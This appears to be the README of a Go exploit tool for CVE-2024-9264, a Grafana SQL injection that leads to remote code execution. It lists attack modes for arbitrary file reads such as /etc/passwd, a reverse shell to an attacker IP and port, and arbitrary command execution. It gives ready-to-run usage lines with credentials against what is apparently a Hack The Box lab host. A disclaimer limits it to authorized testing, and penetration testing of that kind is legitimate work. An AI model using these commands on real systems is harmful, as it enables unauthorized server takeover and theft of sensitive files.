🚨 CVE-2024-9264 - Grafana SQL injection leading to Remote Code Execution (RCE) and file Read

Exploit tool for CVE-2024-9264, a critical vulnerability in Grafana allow authenticated attcker to execute sql query leading to RCE

🛡️ This tool is strictly for educational purposes and authorized penetration testing.
Unauthorized use is illegal and unethical.

---

🧠 Vulnerability Overview

🕳️ What is CVE-2024-9264?

CVE-2024-9264 is a critical flaw in Grafana allows authenticated attacker to execute sql commands leading to RCE and file read

🧬 Root Cause

• Insufficient sanitization.

💥 Impact

• RCE: Execute arbitrary commands, get reverse shells, or read sensitive files.
• High Severity: Complete server takeover possible if successful.

---

⚒️ Features

• Supports multiple attack modes:
  • file – Read arbitrary files (e.g., /etc/passwd)
  • shell – Reverse shell to attacker machine
  • command – Run arbitrary shell commands (e.g., whoami)
• Customizable attacker IP, port, and credentials

---

🚀 Usage

Not all of the arguments are nessary.

examples

Getting shell

go run main.go -ip 10.10.16.91 -port 8080 -username admin -password 0D5oT70Fq13EvB5r -url http://grafana.planning.htb -type shell

Read files

go run main.go -username admin -password 0D5oT70Fq13EvB5r -url http://grafana.planning.htb -type file -filename /etc/passwd

Execuet single command

go run main.go -username admin -password 0D5oT70Fq13EvB5r -url http://grafana.planning.htb -type command -cmd 'ls -al'

🔧 Command-Line Flags

go run main.go [flags]